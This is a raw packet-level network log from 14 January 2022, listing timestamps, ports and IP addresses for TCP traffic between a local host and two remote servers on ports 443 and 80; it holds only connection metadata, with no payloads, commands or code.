Jan 14, 2022 02:05:11.597454071 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.597465038 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.597476959 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.598612070 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.609468937 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.609548092 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.609613895 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.609628916 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.609666109 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610054970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610120058 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610173941 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610193014 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610229015 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610389948 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610423088 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610599995 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610626936 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610639095 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610723019 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610732079 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610830069 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610862970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610915899 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.610927105 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.610956907 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611068964 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611121893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611170053 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611183882 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611237049 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611341953 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611376047 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611419916 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611432076 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611463070 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611622095 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611659050 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611677885 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611691952 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.611711979 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611721039 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611838102 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.611974955 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.612010956 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.612242937 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.612302065 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.612314939 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.612329006 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.612368107 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.614648104 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.617800951 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.617837906 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618242979 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618309975 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618319035 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618341923 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618355036 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618359089 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618616104 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618623018 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618635893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618654966 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618689060 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618737936 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.618751049 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.618788958 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.619626999 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.619659901 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620110989 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620145082 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620162010 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620167971 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620181084 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620193958 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620522022 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620553017 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620569944 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620599031 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620605946 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620639086 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.620891094 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.620923042 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.622618914 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.622637033 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636135101 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636178970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636229038 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.636245012 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636280060 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.636538029 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636575937 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636639118 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.636655092 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.636681080 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.637105942 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637144089 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637201071 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.637212992 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637242079 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.637545109 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637582064 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637624979 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.637638092 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.637664080 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.637980938 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638020039 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638061047 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.638073921 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638102055 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.638413906 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638453007 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638494968 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.638508081 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638609886 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.638715982 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638752937 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.638796091 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.642622948 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.702658892 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.702704906 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704046965 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704088926 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704107046 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704138994 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704154015 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704366922 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704387903 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704406977 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704422951 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704432964 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704446077 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704504013 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704516888 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704577923 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704610109 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704631090 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704668999 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704690933 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704715967 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704729080 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704758883 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704768896 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704797029 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704834938 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704870939 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704917908 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704930067 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.704986095 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.704998970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705013037 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705037117 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705059052 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705075026 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705090046 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705125093 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705163956 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705178976 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705212116 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705221891 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705254078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705281019 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705316067 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705358028 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705358982 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705374956 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705394983 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705415010 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705455065 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705461025 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705476046 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705497026 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705523014 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705538988 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705579042 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705585003 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705596924 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705616951 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705641985 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705662966 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705703974 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705709934 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.705718040 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.705749035 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706172943 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706211090 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706377983 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706422091 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706429958 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706439018 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706463099 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706485033 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706628084 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706661940 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706701994 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706736088 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706747055 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706774950 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.706923008 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.706957102 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707134008 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707180023 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707194090 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707220078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707355022 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707396030 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707408905 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707427025 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707448006 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707606077 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707645893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707665920 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707672119 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707686901 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707701921 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707721949 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707727909 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707886934 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707923889 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707942963 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.707957983 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.707974911 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708127022 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708185911 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708192110 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708199978 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708220005 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708245039 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708405972 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708447933 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708457947 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708477974 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708503008 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708678007 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708722115 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708728075 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708738089 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708755970 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708777905 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708940029 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.708982944 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.708995104 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709012985 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709033966 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709186077 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709224939 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709233999 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709240913 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709266901 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709271908 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709443092 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709480047 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709491014 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709517956 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.709528923 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.709558964 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.712861061 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.877726078 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.877772093 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.878060102 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.880465984 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.880479097 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880503893 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880517960 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880731106 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.880742073 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880763054 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:11.880769968 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880784988 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.880799055 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:11.881377935 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:12.035672903 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:12.042180061 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:12.100720882 CET	49864	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:12.100785971 CET	443	49864	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:12.372910023 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.444869995 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.445707083 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.445815086 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.517651081 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518199921 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518237114 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518268108 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518295050 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518312931 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.518321991 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518351078 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518378973 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518382072 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.518408060 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518423080 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.518435001 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518462896 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.518462896 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.518517971 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590378046 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590411901 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590435028 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590461016 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590473890 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590483904 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590507030 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590511084 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590531111 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590553999 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590554953 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590576887 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590598106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590619087 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590626955 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590641975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590662956 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590670109 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590687037 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590708971 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590708971 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590729952 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590743065 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590751886 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590773106 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590795040 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590806007 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590816975 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.590827942 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.590868950 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.662775993 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.662838936 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.662879944 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.662916899 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.662920952 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.662955046 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.662997961 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663001060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663037062 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663044930 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663079023 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663120985 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663158894 CET	80	49865	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:12.663176060 CET	49865	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:12.663199902 CET	80	49865	141.8.194.74	192.168.2.3
